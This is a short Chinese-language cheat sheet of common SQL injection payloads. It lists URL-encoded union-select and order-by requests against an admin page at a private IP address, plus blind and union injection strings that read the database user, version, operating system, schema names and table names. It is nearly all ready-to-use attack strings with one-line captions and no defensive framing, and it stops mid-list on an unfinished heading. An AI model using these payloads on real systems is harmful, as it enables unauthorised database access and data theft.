sql注入的常用命令

页面正常
http://192.168.1.3/admin/?do=editurrency&cid=1+order+by+5+--+
页面和前页面不一样，说明当前查询了5个字段。
http://192.168.1.3/admin/?do=editurrency&cid=1+order+by+6+--+
发现只留下2,4
http://192.168.1.3/admin/?do=editurrency&cid=1+union+select+1,2,3,4,5+--+
查询当前的用户和版本
http://192.168.1.3/admin/?do=editurrency&cid=1+union+select+1,user(),3,version(),5+--+
查询当前的所有数据库
http://192.168.1.3/admin/?do=editurrency&cid=1+union+select+1,group_con cat(schema_name),3,4,5+
from+information_schema.schemata+--+
盲注
1 or 1=1
1' or '1' =1 
利用order by num 语句测试查询列表
1' order by 1 --
1' order by 2 --
1' order by 3 --
通过使用函数得到连接数据库的账户名
1' and 1=2 union select 1,2 --
1' and 1=2 union select user(),database() --
查看数据库版本信息
1' and 1=2 union select version(),database() --
查看操作系统信息
1' and 1=2 union select 1,@@global.version_compile_os from mysql.user --
查看sql数据库
1' and 1=2 union select 1,schema_name from information_schema.schemata --
猜解数据库中的表名
1'and exists(select * from users) --
猜解字段名